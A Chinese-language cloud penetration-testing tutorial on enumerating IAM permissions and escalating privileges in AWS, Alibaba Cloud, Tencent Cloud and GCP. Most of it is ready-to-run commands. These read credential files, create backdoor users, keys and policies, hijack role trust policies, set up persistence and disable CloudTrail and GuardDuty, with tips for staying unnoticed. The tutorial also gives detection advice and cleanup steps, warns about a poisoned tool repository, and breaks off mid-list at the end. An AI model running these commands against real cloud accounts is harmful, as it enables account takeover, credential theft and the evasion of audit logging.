一、拿到凭证之后第一件事是枚举,不是利用
第一篇从代码仓库和对象存储里捞到了 AK/SK,第二篇从元数据服务里拿到了临时凭证。现在手上有一组凭证,接下来做什么?
大部分人的第一反应是”试试能不能 create user”。这个顺序是错的。正确的顺序是:先花二十分钟把这组凭证的权限摸清楚,再决定打哪条路径。
原因很实际。云 IAM 的权限是叠加的:用户直接策略 + 组策略 + 权限边界 + SCP + 资源策略,最终生效的是它们的交集。你看到的”这个用户挂了一个只读策略”,不代表它真的只能读——它可能在某个组里,那个组挂了一个你没注意到的策略。盲目尝试写操作,一是可能触发告警,二是可能因为不了解权限边界而反复失败。
1.1 先确认身份
这是零成本、零权限的一条命令,任何有效凭证都能调:
aws sts get-caller-identity
返回:
{
"UserId": "AIDAXXXXXXXXXXXXXXXXX",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/deploy-bot"
}
读这个返回要抓三个信息:
Account是账号 ID。后面拼资源 ARN 时全都要用。Arn的中间段决定身份类型。user/是 IAM 用户(长期凭证),assumed-role/角色名/会话名是角色(临时凭证),root是根账号(那就直接结束了)。UserId前缀也有信息量。AIDA是用户,AROA是角色,ASIA是临时凭证。和第二篇里看到的ASIA开头对应上了。
1.2 AWS 的权限枚举
确认身份之后开始枚举。按信息密度排序:
# 一次拉全量授权信息,这是效率最高的一条
aws iam get-account-authorization-details > authz.json
# 或者分步来
aws iam list-attached-user-policies --user-name deploy-bot
aws iam list-user-policies --user-name deploy-bot
aws iam list-groups-for-user --user-name deploy-bot
aws iam list-roles
aws iam list-policies --scope Local --only-attached
get-account-authorization-details 是首选。它把账号里所有用户、组、角色、策略、策略版本一次性返回,本地慢慢分析,比一条条调 API 快得多。但它需要 iam:GetAccountAuthorizationDetails 权限,不一定有。没有就退回分步枚举。
拿到策略文档后,需要看具体的策略内容:
aws iam get-policy --policy-arn <arn>
aws iam get-policy-version --policy-arn <arn> --version-id v3
aws iam get-user-policy --user-name <u> --policy-name <p>
get-policy-version 必须指定版本号,用 list-policy-versions 查当前是哪个版本:
aws iam list-policy-versions --policy-arn <arn>
这里有一个重要的攻击面:如果历史版本里有权限比当前版本更大的,而攻击者又有 iam:SetDefaultPolicyVersion,就能把策略切回旧版本。所以枚举时不要只看默认版本,要把所有版本都拉出来对比。第三篇后面会讲这条路径。
1.3 为什么枚举出来的应该是”有效权限”
策略权限和有效权限不是一回事。有三层东西会削减最终权限:
| 机制 | 作用 |
|---|---|
| 权限边界(Permissions Boundary) | 给用户/角色设一个权限上限,即使策略里有 * 也超不过边界 |
| SCP(Service Control Policy) | 组织级别的权限上限,作用于整个账号 |
| 资源策略(Resource Policy) | 挂在资源上,比如 S3 桶策略、KMS 密钥策略,可能反过来允许跨账号访问 |
所以看到策略里写了 "Action": "*" 不要高兴太早,先查边界:
aws iam get-user --user-name deploy-bot | jq '.User.PermissionsBoundary'
aws organizations list-policies-for-target --target-id <account-id> --filter SERVICE_CONTROL_POLICY
最可靠的方法是实测。AWS 提供了权限模拟接口,可以精准判断单条权限:
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::123456789012:user/deploy-bot \
--action-names iam:CreateAccessKey iam:AttachUserPolicy iam:PassRole \
--resource-arns "*"
返回里每条 action 会给 allowed、implicitDeny 或 explicitDeny。这是最准确的方式,但需要 iam:SimulatePrincipalPolicy 权限。
1.4 用工具做批量枚举
手工一条条试太慢。enumerate-iam 是专门干这个的,它把 AWS 的 API 列表全部试一遍,记录哪些返回 200、哪些返回 AccessDenied:
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
python3 enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE \
--secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
--session-token IQoJb3JpZ2luX2VjEBEa... # 临时凭证才需要
注意这里给的是官方仓库 andresriancho/enumerate-iam。关于工具供应链的问题,第八节会专门讲,这一节先记住要用官方地址。
Pacu 是 AWS 利用框架,除了枚举还带提权路径扫描:
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && pip3 install -r requirements.txt && python3 pacu.py
# 会话内
import_keys default --access-key-id AKIA... --secret-access-key wJalr... --session-token IQoJ...
whoami
run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run iam__privesc_scan --all-users
iam__privesc_scan 会直接匹配已知的提权路径并给出利用命令,这是最省事的一步。
其他两个工具各有用处:
# cloudsplaining:分析策略文档,找出过宽权限
cloudsplaining download -p default
cloudsplaining scan -i default.json -o out/
# pmapper:把 IAM 关系建成图,找提权路径
pmapper graph create
pmapper analysis --output-type text
pmapper 的价值在于多跳路径。单看一个权限平平无奇,但 A 能扮演 B、B 能扮演 C、C 是管理员,这条链只有画成图才看得见。
1.5 阿里云和腾讯云的枚举
阿里云:
aliyun sts GetCallerIdentity
aliyun ram ListUsers
aliyun ram ListRoles
aliyun ram ListPolicies --PolicyType System
aliyun ram ListPoliciesForUser --UserName <user>
aliyun ram ListAccessKeys --UserName <user>
aliyun ecs DescribeRegions
aliyun ecs DescribeInstances --RegionId cn-hangzhou
腾讯云:
tccli sts GetCallerIdentity
tccli cam ListUsers
tccli cam ListPolicies
tccli cam GetUser --Name <user>
二、凭证会藏在哪些地方
枚举做完之后,往往需要找更多凭证来扩大战果。这张清单按实际命中率排序:
| 位置 | 命令 |
|---|---|
| AWS CLI 配置 | cat ~/.aws/credentials; cat ~/.aws/config |
| 环境变量 | env | grep -E 'AWS_|ALIBABA|TENCENT|AZURE|GOOGLE' |
| 阿里云 CLI | cat ~/.aliyun/config.json |
| 阿里云 OSS 工具 | cat ~/.ossutilconfig |
| 腾讯云 CLI | cat ~/.tccli/default.credential |
| K8s 配置 | cat ~/.kube/config |
| Docker 仓库认证 | cat ~/.docker/config.json |
| Git 凭据 | cat ~/.git-credentials |
| npm / pip 凭据 | cat ~/.npmrc; cat ~/.pypirc |
| SSH 私钥 | ls -la ~/.ssh/ |
~/.aws/config 值得单独说一句。很多团队用 profile 切换多个账号,配置文件里会有 role_arn 和 source_profile,这直接把跨账号角色链画出来了:
[profile prod]
role_arn = arn:aws:iam::999999999999:role/ProdAdmin
source_profile = default
region = ap-northeast-1
看到这个配置,意味着用 default 的凭证就能扮演生产账号的 ProdAdmin 角色。一条命令的事:
aws sts assume-role --role-arn arn:aws:iam::999999999999:role/ProdAdmin \
--role-session-name pentest --profile default
云侧的配置存储也要翻:
# SSM Parameter Store,注意 --with-decryption
aws ssm get-parameters-by-path --path / --recursive --with-decryption
# Secrets Manager
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <name>
# Lambda 的环境变量
aws lambda get-function-configuration --function-name <name> --query 'Environment'
# CodeBuild 项目,可能藏着 GitHub token
aws codebuild list-projects
aws codebuild batch-get-projects --names <project>
aws codebuild list-source-credentials
aws codebuild list-source-credentials 这一条经常被忽略,它返回的是 CodeBuild 用来拉源码的凭据,如果是 GitHub,就是一个能访问代码仓库的 token。
三、AWS IAM 提权路径
3.1 判断标准
一个权限(或权限组合)算不算提权,判断标准只有一条:它能不能让我获得我本来没有的权限。
按这个标准,AWS 的提权路径可以分成三类:
| 类型 | 特征 | 例子 |
|---|---|---|
| 直接授权 | 能给自己或自己能用的身份挂策略 | iam:AttachUserPolicy、iam:PutUserPolicy |
| 创造身份 | 能造出新的高权凭证 | iam:CreateAccessKey、iam:CreateLoginProfile |
| 借用身份 | 能让高权身份替自己执行 | iam:PassRole + 各种服务创建权限 |
第三类是最有意思的,也是最容易被忽略的。iam:PassRole 本身什么都干不了,它只是一个”把角色交给某个服务”的动作。但一旦和 lambda:CreateFunction 组合,就变成了”让 Lambda 用高权角色运行我的代码”。
iam:PassRole 单独存在不是漏洞,这是 AWS 官方的立场,也是为什么很多扫描器会漏报。判断时一定要看组合。
3.2 逐条路径
下面每一条都给出前置权限和完整命令。所有命令里的账号 ID、角色名、策略 ARN 都要替换成实际值。
3.2.1 iam:CreateAccessKey
给一个高权限用户建新密钥。注意 AWS 限制每个用户最多 2 个密钥,如果目标用户已经有 2 个,需要先删一个。
aws iam create-access-key --user-name target-admin
返回的 SecretAccessKey 只在这一次返回,之后无法再查。所以拿到就立刻保存。
如果目标用户已经有 2 个密钥:
aws iam list-access-keys --user-name target-admin
aws iam delete-access-key --user-name target-admin --access-key-id AKIAOLDKEYID
aws iam create-access-key --user-name target-admin
删别人的密钥是有明显副作用的行为,在授权测试里要单独确认。
3.2.2 iam:CreateLoginProfile / iam:UpdateLoginProfile
给用户设置控制台登录密码。区别在于目标用户有没有已存在的登录配置。
# 目标用户没有控制台密码
aws iam create-login-profile --user-name target-admin \
--password 'P@ssw0rd!2026' --no-password-reset-required
# 目标用户已有控制台密码
aws iam update-login-profile --user-name target-admin \
--password 'P@ssw0rd!2026' --no-password-reset-required
--no-password-reset-required 很重要,不加的话用户下次登录会被强制改密码,等于打草惊蛇。
3.2.3 iam:AttachUserPolicy / iam:AttachGroupPolicy
最直接的一条,把管理员策略挂上去:
aws iam attach-user-policy --user-name my-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam attach-group-policy --group-name admins \
--policy-arn arn:aws:iam::123456789012:policy/CustomAdmin
3.2.4 iam:PutUserPolicy / PutGroupPolicy / PutRolePolicy
内联策略,不用创建策略资源,更隐蔽:
cat > admin.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [
{"Effect": "Allow", "Action": "*", "Resource": "*"}
]
}
EOF
aws iam put-user-policy --user-name my-user \
--policy-name maintenance --policy-document file://admin.json
策略名起成 maintenance 这种不起眼的名字,比 pwn 之类的强。
3.2.5 iam:AddUserToGroup
把自己加进管理员组,继承组策略:
aws iam add-user-to-group --group-name admins --user-name my-user
3.2.6 iam:CreatePolicyVersion --set-as-default
这条路径很隐蔽,因为它不创建任何新资源,也不修改任何绑定关系,只是给一个已挂载的策略加了个新版本并设为默认。
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/ReadOnlyPolicy \
--policy-document file://admin.json \
--set-as-default
审计时看到的是”给一个只读策略创建了新版本”,如果审计规则只看 Attach*Policy,就会漏掉。检测这条要看 CreatePolicyVersion 事件里的 setAsDefault 字段。
3.2.7 iam:SetDefaultPolicyVersion
利用历史版本。有些策略早期版本权限很宽,后来收紧过,但旧版本还在:
aws iam list-policy-versions --policy-arn arn:aws:iam::123456789012:policy/AppPolicy
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/AppPolicy \
--version-id v2
3.2.8 iam:UpdateAssumeRolePolicy + sts:AssumeRole
角色信任策略决定了谁能扮演它。改掉信任策略,把自己加进去:
cat > trust.json <<'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:user/my-user"},
"Action": "sts:AssumeRole"
}
]
}
EOF
aws iam update-assume-role-policy --role-name TargetAdminRole \
--policy-document file://trust.json
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/TargetAdminRole \
--role-session-name pentest
这条命令是破坏性的:原来的信任策略被完全覆盖,依赖这个角色的服务会立刻中断。在客户环境执行前必须备份原始策略:
aws iam get-role --role-name TargetAdminRole --query 'Role.AssumeRolePolicyDocument' > trust-backup.json
3.2.9 iam:PassRole + lambda:CreateFunction
最经典的 PassRole 利用。写一个函数,让它用目标角色运行,函数体里把角色凭证打出来:
# index.py
import boto3, json
def handler(event, context):
sts = boto3.client("sts")
return sts.get_caller_identity()
zip -q f.zip index.py
aws lambda create-function --function-name esc \
--runtime python3.12 \
--role arn:aws:iam::123456789012:role/HighPrivRole \
--handler index.handler \
--zip-file fileb://f.zip
aws lambda invoke --function-name esc out.json
cat out.json
更彻底的做法是在函数里直接把角色的临时凭证取出来导出,这样后续操作可以在本地做:
import json, urllib.request
def handler(event, context):
# 函数内读自己的环境变量拿凭证
return {
"key": __import__("os").environ.get("AWS_ACCESS_KEY_ID"),
"secret": __import__("os").environ.get("AWS_SECRET_ACCESS_KEY"),
"token": __import__("os").environ.get("AWS_SESSION_TOKEN"),
}
检测上的重要细节:iam:PassRole 没有独立的 CloudTrail 事件。它只出现在 CreateFunction 请求的 requestParameters 里。这意味着如果告警规则只监控 PassRole 事件名,永远不会有告警。必须改成监控 CreateFunction、RunInstances、CreateStack 这些事件并检查其中的角色 ARN。
3.2.10 iam:PassRole + ec2:RunInstances
起一台 EC2,把高权角色挂上去,然后从元数据读凭证:
aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t3.micro \
--subnet-id subnet-0123456789abcdef0 \
--iam-instance-profile Name=HighPrivProfile \
--key-name my-key
# SSH 上去后读元数据
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/HighPrivRole
这条路径的优点是直观,缺点是慢(要等实例起来)而且会留下明显的 RunInstances 事件和账单。
3.2.11 iam:PassRole + glue:CreateDevEndpoint
这条路径被低估了。Glue 的开发端点本质上是一台你可以 SSH 进去的机器,可以指定角色和公钥:
aws glue create-dev-endpoint --endpoint-name esc \
--role-arn arn:aws:iam::123456789012:role/HighPrivRole \
--public-key file://id_rsa.pub
# 等几分钟后取地址
aws glue get-dev-endpoint --endpoint-name esc
# 从返回里拿 PublicAddress,然后
ssh -i id_rsa glue@<PublicAddress>
在端点里就能读到角色的临时凭证。比 EC2 快,而且不是所有审计规则都会覆盖 Glue。
3.2.12 iam:PassRole + cloudformation:CreateStack
用 CloudFormation 栈以高权角色的身份创建资源,可以直接造后门用户:
aws cloudformation create-stack --stack-name maintenance \
--capabilities CAPABILITY_NAMED_IAM \
--role-arn arn:aws:iam::123456789012:role/HighPrivRole \
--template-body file://cfn-backdoor.yaml
CAPABILITY_NAMED_IAM 是必须的,否则 CloudFormation 会拒绝创建带指定名字的 IAM 资源。
3.2.13 iam:PassRole + ecs:RegisterTaskDefinition + RunTask
aws ecs register-task-definition --family esc \
--container-definitions file://cd.json \
--task-role-arn arn:aws:iam::123456789012:role/HighPrivRole \
--execution-role-arn arn:aws:iam::123456789012:role/ecsTaskExecutionRole
aws ecs run-task --cluster my-cluster --task-definition esc:1 --launch-type FARGATE
任务里读 169.254.170.2 拿凭证。
3.2.14 lambda:UpdateFunctionCode
不需要 PassRole,直接改一个已经挂了高权角色的现有函数:
aws lambda update-function-code --function-name existing-highpriv-func \
--zip-file fileb://f.zip
aws lambda invoke --function-name existing-highpriv-func out.json
这条路径的隐蔽性在于,它不创建任何新资源,只改代码。检测要看 UpdateFunctionCode 事件。
3.2.15 ssm:SendCommand
如果目标 EC2 挂了高权实例角色,可以直接对这台机器下发命令,读它的元数据:
aws ssm send-command \
--document-name "AWS-RunShellScript" \
--instance-ids i-0123456789abcdef0 \
--parameters 'commands=["curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/HighPrivRole"]'
# 查看执行结果
aws ssm list-command-invocations --command-id <id> --details
这条路径对”无法直接跑代码”的场景特别有用,因为 SSM 是合法的运维通道,很多环境不会对它告警。
3.2.16 其余路径
还有几条在特定环境下有效的:
| 路径 | 前置权限 | 说明 |
|---|---|---|
| SageMaker notebook | iam:PassRole + sagemaker:CreateNotebookInstance + CreatePresignedNotebookInstanceUrl | notebook 内可读角色凭证 |
| DataPipeline | iam:PassRole + datapipeline:CreatePipeline + PutPipelineDefinition + ActivatePipeline | 新版账号可能无法使用该服务,待验证 |
| 权限边界 | iam:PutUserPermissionsBoundary | 把边界换成 Allow *,使已有策略生效 |
| CodeCommit 凭据 | iam:CreateServiceSpecificCredential | 拿仓库里的硬编码凭证 |
| 复活旧密钥 | iam:UpdateAccessKey | 把已禁用的密钥改回 Active |
| 联邦元数据 | iam:UpdateSAMLProvider | 替换 SAML 元数据后冒充身份,破坏性强,需恢复原 XML |
iam:UpdateAccessKey 这条容易被忽略。防御方禁用一个泄露的密钥之后,如果攻击者还有这个权限,可以再把它启用回来。
aws iam update-access-key --access-key-id AKIAIOSFODNN7EXAMPLE \
--status Active --user-name my-user
3.3 关于 pathfinding.cloud
上面这些路径不是零散总结出来的,有一个项目把它们系统化了:pathfinding.cloud,Datadog Security Labs 维护。
它的组织方式是 data/paths/aws/<service>/<service>-NNN.yaml,每条路径一个 YAML,里面写清楚权限组合、利用步骤、以及对应的检测方式。目前覆盖了 26 个服务目录(apprunner、batch、bedrock、braket、cloudformation、codebuild、codedeploy、cognitoidentity、datapipeline、ec2、ec2-instance-connect、ecs、emr、emrserverless、gamelift、glue、iam、imagebuilder、kinesisanalytics、lambda、omics、sagemaker、scheduler、ssm、stepfunctions、sts),路径总数在 100 条以上(精确数字随项目更新变化,标为待验证)。
代表条目包括 iam:PassRole + glue:CreateDevEndpoint、iam:PassRole + cloudformation:CreateStack、iam:PassRole + lambda:CreateFunction、iam:PassRole + ec2:RunInstances、ssm:SendCommand、lambda:UpdateFunctionCode、ecs:RegisterTaskDefinition、glue:UpdateDevEndpoint。
怎么用它:把 enumerate-iam 或 Pacu 跑出来的权限清单,和 pathfinding.cloud 的路径定义做交集匹配。可以自己写个脚本,也可以直接用 Pacu 的 iam__privesc_scan。
四、阿里云 RAM 提权
阿里云的权限模型和 AWS 类似但命名不同:IAM 叫 RAM,策略叫 Policy,角色叫 Role,临时凭证走 STS。
4.1 权限模型
| AWS | 阿里云 |
|---|---|
| IAM User | RAM 用户 |
| IAM Role | RAM 角色 |
| IAM Group | RAM 用户组 |
| Policy | 权限策略 |
| Permission Boundary | 权限边界 |
| SCP | 资源目录管控策略 |
阿里云有个和 AWS 不同的地方:阿里云的主账号 AK 和 RAM 用户 AK 格式一样(都是 LTAI 开头),但主账号 AK 拥有全部权限,无法被任何策略限制。所以拿到一个 LTAI 开头的 AK 之后,第一件事是用 GetCallerIdentity 看它属于主账号还是子用户:
aliyun sts GetCallerIdentity
返回的 Arn 里如果是 acs:ram::1234567890123456:user/xxx 就是 RAM 用户,如果是 acs:ram::1234567890123456:root 就是主账号。
4.2 提权路径
路径一:控制台接管。 这是阿里云最有特色的一条,因为阿里云的控制台登录是子账号密码,可以远程创建:
# 拿到账号的登录域名
aliyun ram GetAccountAlias
# 建一个后门用户
aliyun ram CreateUser --UserName maintenance
# 给它设控制台密码
aliyun ram CreateLoginProfile --UserName maintenance --Password 'P@ssw0rd!2026'
# 挂管理员策略
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName maintenance
然后用这个用户登录 https://signin.aliyun.com/<账号别名>/ 就能进控制台。控制台的危害比 API 更大,因为可以图形化地操作所有资源。
路径二:建长期密钥。
aliyun ram CreateAccessKey --UserName target-admin
路径三:直接挂策略。
aliyun ram AttachPolicyToUser --PolicyType System \
--PolicyName AdministratorAccess --UserName my-user
aliyun ram AttachPolicyToGroup --PolicyType System \
--PolicyName AdministratorAccess --GroupName admins
aliyun ram AttachPolicyToRole --PolicyType System \
--PolicyName AdministratorAccess --RoleName my-role
路径四:篡改策略版本。
aliyun ram CreatePolicy --PolicyName maintenance --PolicyDocument file://admin.json
aliyun ram CreatePolicyVersion --PolicyName maintenance \
--PolicyDocument file://admin.json --SetAsDefault
# 或者切回旧版本
aliyun ram SetDefaultPolicyVersion --PolicyName AppPolicy --VersionId v2
路径五:改角色信任策略。
aliyun ram UpdateAssumeRolePolicy --RoleName TargetRole \
--PolicyDocument file://trust.json
aliyun sts AssumeRole --RoleArn acs:ram::1234567890123456:role/TargetRole \
--RoleSessionName pentest --DurationSeconds 3600
路径六:PassRole 到 ECS。 阿里云的 PassRole 概念体现在 RunInstances 的 --RamRoleName 参数上,把高权角色挂到新建的 ECS 上:
aliyun ecs RunInstances --RegionId cn-hangzhou \
--ImageId <image-id> \
--InstanceType ecs.t6-c1m1.large \
--RamRoleName HighPrivRole \
--SecurityGroupId <sg-id> \
--VSwitchId <vsw-id>
# 实例起来后读元数据
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/HighPrivRole
有一个细节需要说明:阿里云是否存在类似 AWS 那样独立的 ram:PassRole 校验,这一点待验证。实操里的授权点主要在 ecs:RunInstances 和角色自身的信任策略上,也就是角色必须允许 ECS 服务扮演它。
路径七:函数计算后门。
aliyun ram CreateRole ... # 信任策略里允许 fc 服务
# 创建函数并指定角色
# 函数内读 100.100.100.200 拿角色凭证
具体的 API Action 名和 PassRole 校验方式待验证。
4.3 阿里云的 API 签名
如果要自己写脚本调阿里云 API,需要实现 RPC 风格的签名。这在实际利用里经常需要,因为 CLI 不一定能覆盖所有接口。
公共参数:
Format=JSON
Version=2015-05-01
AccessKeyId=<AK>
SignatureMethod=HMAC-SHA1
SignatureVersion=1.0
SignatureNonce=<随机 UUID>
Timestamp=<ISO8601 UTC 时间>
Action=<接口名>
签名算法:
StringToSign = "POST" + "&" + percentEncode("/") + "&" + percentEncode(canonicalizedQuery)
Signature = Base64(HMAC-SHA1(AccessKeySecret + "&", StringToSign))
percentEncode 的标准 URL 编码之外还有三个替换:+ 换成 %20,* 换成 %2A,%7E 换成 ~。这三个替换点错一个,签名就过不了,而且返回的错误信息不会告诉你是哪一步错了。
STS 临时凭证需要额外带 SecurityToken 参数。AccessKeyId 以 STS. 开头是识别依据。
import base64, hashlib, hmac, uuid, urllib.parse
from datetime import datetime
def percent_encode(s):
res = urllib.parse.quote(str(s), safe='')
return res.replace('+', '%20').replace('*', '%2A').replace('%7E', '~')
def sign(params, secret):
items = sorted(params.items())
canonical = '&'.join(f'{percent_encode(k)}={percent_encode(v)}' for k, v in items)
string_to_sign = 'POST&' + percent_encode('/') + '&' + percent_encode(canonical)
sig = hmac.new((secret + '&').encode(), string_to_sign.encode(), hashlib.sha1).digest()
return base64.b64encode(sig).decode()
params = {
'Format': 'JSON',
'Version': '2015-05-01',
'AccessKeyId': 'LTAI5tXXXXXXXXXXXXXX',
'SignatureMethod': 'HMAC-SHA1',
'SignatureVersion': '1.0',
'SignatureNonce': str(uuid.uuid4()),
'Timestamp': datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'),
'Action': 'GetCallerIdentity',
}
params['Signature'] = sign(params, 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
print(urllib.parse.urlencode(params))
五、腾讯云 CAM 与 GCP
5.1 腾讯云
凭证格式是 SecretId(AKID 开头)加 SecretKey。CLI 是 tccli。
tccli configure # 填 SecretId / SecretKey / Region,临时凭证还要填 Token
tccli sts GetCallerIdentity
tccli cam ListUsers
tccli cam ListPolicies
提权路径和 AWS 高度对应:
# 建后门密钥
tccli cam CreateAccessKey --TargetUin <target_uin>
# 挂管理员策略
tccli cam AttachUserPolicy --PolicyId <policy-id> --AttachUin <uin>
# 篡改策略版本
tccli cam CreatePolicy --PolicyName maintenance --PolicyDocument file://p.json
tccli cam CreatePolicyVersion --PolicyId <id> --PolicyDocument file://admin.json --SetAsDefault
tccli cam SetDefaultPolicyVersion --PolicyId <id> --VersionId 2
# 改角色信任策略
tccli cam UpdateAssumeRolePolicy --RoleId <id> --PolicyDocument file://trust.json
tccli sts AssumeRole --RoleArn qcs::cam::uin/<uin>:roleName/TargetRole --RoleSessionName s
# PassRole 到 CVM
tccli cvm RunInstances ... --CamRoleName TargetRole
# PassRole 到 SCF
tccli scf CreateFunction --Role qcs::cam::uin/<uin>:roleName/TargetRole ...
签名机制是 TC3-HMAC-SHA256:
Authorization: TC3-HMAC-SHA256 Credential=<SecretId>/<date>/<service>/tc3_request,
SignedHeaders=content-type;host;x-tc-action,
Signature=<signature>
临时凭证通过 X-TC-Token 头传递,STS 返回的是 TmpSecretId、TmpSecretKey、Token 三个字段。
两点待验证:腾讯云 cam:PassRole 与 RunInstances 的确切授权组合,以及子账号控制台登录对应的接口名。不要照搬阿里云的 CreateLoginProfile 写法。
5.2 GCP
GCP 的凭证形态主要是 Service Account 的 JSON key 文件:
gcloud auth activate-service-account --key-file=sa.json
gcloud auth list
gcloud config list
权限枚举:
gcloud projects get-iam-policy <project> \
--flatten='bindings[].members' \
--format='table(bindings.role)'
gcloud asset search-all-iam-policies --scope=projects/<project>
GCP 的提权路径有几个特点:
创建 SA key。
gcloud iam service-accounts keys create new.json \
--iam-account SA@project.iam.gserviceaccount.com
模拟 Service Account,这是 GCP 最有特色的一条,对应权限 iam.serviceAccounts.getAccessToken(角色是 roles/iam.serviceAccountTokenCreator):
gcloud auth print-access-token \
--impersonate-service-account=SA@project.iam.gserviceaccount.com
或者直接调 API:
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/SA@project.iam.gserviceaccount.com:generateAccessToken" \
-d '{"scope":["https://www.googleapis.com/auth/cloud-platform"],"lifetime":"3600s"}'
自授角色。 有 resourcemanager.projects.setIamPolicy 就等于有了一切:
gcloud projects add-iam-policy-binding <project> \
--member=user:me@example.com \
--role=roles/owner
给自己加 TokenCreator,做持久化:
gcloud iam service-accounts add-iam-policy-binding \
SA@project.iam.gserviceaccount.com \
--member=user:me@example.com \
--role=roles/iam.serviceAccountTokenCreator
挂 SA 到算力。 比如给已有 VM 加 SSH key:
gcloud compute instances add-metadata <vm> \
--metadata ssh-keys="user:$(cat id_rsa.pub)"
roles/owner 在 GCP 里等于全权,包括修改 IAM 策略。所以看到这个角色,直接就是终点了。
有一个限制要注意:GCP 的实例元数据 token 受 access scope 限制。如果 scope 是 cloud-platform.read-only,拿到的 token 只能读。这时候需要通过其他途径(比如找 SA key 文件、利用 compute.instances.setMetadata)来提权。
六、跨账号与角色链
单账号内的提权讲完了。真实环境里更有价值的是跨账号,因为生产环境通常在一个独立账号里。
6.1 读信任策略
一个角色的信任策略决定了谁能扮演它:
aws iam get-role --role-name CrossAccountRole --query 'Role.AssumeRolePolicyDocument'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::111111111111:root"},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {"sts:ExternalId": "abc123"},
"Bool": {"aws:MultiFactorAuthPresent": "true"}
}
}
]
}
读这个要抓四个点:
Principal是哪个账号或哪个具体身份。写root表示允许该账号下的任何身份扮演(前提是那个身份自己有sts:AssumeRole权限)。Condition里的ExternalId。这是防止”混淆代理”问题的,如果外部 ID 泄露或者设成了弱值,防护就失效。aws:MultiFactorAuthPresent。要求 MFA 的话,没有 MFA 的会话无法扮演。- 有没有
Condition限制来源 IP 或 VPC。
6.2 找最短路径
多跳角色链是 PMapper 的强项:
pmapper graph create
pmapper analysis --output-type text
它会输出从当前身份到管理员的最短路径。手工做法是把所有角色的信任策略拉下来,在纸上画图:
我的用户 → 能扮演 RoleA → RoleA 能扮演 RoleB → RoleB 有 AdministratorAccess
每一跳都需要 sts:AssumeRole 权限,这个权限可能在用户策略里,也可能在角色的权限策略里(角色可以扮演另一个角色)。
6.3 扮演的完整流程
aws sts assume-role \
--role-arn arn:aws:iam::999999999999:role/ProdAdmin \
--role-session-name pentest \
--external-id abc123 # 信任策略要求才需要
# 返回的凭证写入 profile 或环境变量
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
或者更省事,直接写进 ~/.aws/config 用 profile 切换:
[profile prod]
role_arn = arn:aws:iam::999999999999:role/ProdAdmin
source_profile = default
七、持久化
拿到管理员权限之后,如果测试目标是评估”长期驻留能力”,需要验证持久化。这些动作都有真实副作用,必须在授权范围内并且提前约定好清理方式。
| 方式 | 命令 | 特点 |
|---|---|---|
| 后门 AK | iam:CreateAccessKey | 最简单,但永久密钥容易被发现 |
| 后门用户 | CreateUser + AttachUserPolicy | 明显,list-users 就能看到 |
| 改信任策略 | iam:UpdateAssumeRolePolicy 指向攻击者账号 | 跨账号,隐蔽 |
| Lambda 后门 | 建一个函数 + EventBridge 定时触发 | 中等隐蔽 |
| SSM 关联 | ssm:CreateAssociation 定时跑 RunShellScript | 走运维通道,不易告警 |
| 复活旧密钥 | iam:UpdateAccessKey --status Active | 极隐蔽 |
致盲类动作要单独列出来,因为它们不是提权而是反检测:
aws cloudtrail stop-logging --name my-trail
aws cloudtrail delete-trail --name my-trail
aws guardduty delete-detector --detector-id <id>
这些命令本身是最高优先级的告警项,StopLogging 在任何成熟的安全运营体系里都应该触发严重告警。在授权测试里,这类操作可以验证”是否有告警”,但通常约定只验证一次。
必须配套清理清单。每条持久化都要能撤销:
# 删除后门密钥
aws iam delete-access-key --user-name maintenance --access-key-id AKIA...
# 删除后门用户及相关策略
aws iam detach-user-policy --user-name maintenance --policy-arn <arn>
aws iam delete-login-profile --user-name maintenance
aws iam delete-user --user-name maintenance
# 还原信任策略
aws iam update-assume-role-policy --role-name TargetRole --policy-document file://trust-backup.json
# 删除后门 Lambda
aws lambda delete-function --function-name esc
# 删除 SSM 关联
aws ssm delete-association --association-id <id>
八、工具与供应链风险
这一节必须单独写,因为我自己在做资料检索时踩到了。
kohlersbtuh15/accesskey_tools 已经被确认投毒。 这个仓库有 500 多个 star,是国内做云安全的人常用的 AK 利用工具集之一。它的 aws/aws_select_iam.py 在运行时会静默安装一个仿冒的 PyPI 包:
| 项目 | 地址 |
|---|---|
| 官方包 | andresriancho/enumerate-iam |
| 仿冒包 | andresrianch/enumerate-iam(少一个 o) |
仿冒仓库的提交时间是 2025-11-18。工具执行时后台安装仿冒包,等于把攻击者的代码跑在自己的机器上。同类疑似投毒的项目还有 yigexiaoyunwei/jumpserver_decrypto。
这件事对做云安全的人有直接教训:
- 云安全工具本身就是高价值攻击目标。 用这些工具的人手上往往有大量客户的 AK/SK,一次投毒能拿到的东西比打十个站还多。
- 跑之前核对三个东西:仓库地址的每一个字符、最近一次提交的时间和内容、依赖包的官方来源。少一个字母的仿冒仓库是最低级也最有效的攻击。
- 优先用官方工具:
